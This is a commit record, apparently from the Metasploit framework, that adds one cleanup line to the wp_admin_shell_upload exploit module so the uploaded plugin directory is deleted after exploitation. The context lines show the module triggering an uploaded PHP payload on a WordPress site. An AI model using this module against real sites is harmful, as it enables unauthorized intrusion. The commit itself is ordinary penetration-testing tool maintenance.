Land #9414, wp_admin_shell_upload - remove plugin dir after exploitation

MS-2855/keylogger-mettle-extension 4.16.32
Brent Cook 2018-01-16 21:08:22 -06:00
commit d6e966b079
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
1 changed files with 1 additions and 0 deletions

View File

@ -96,6 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php")
register_files_for_cleanup("#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end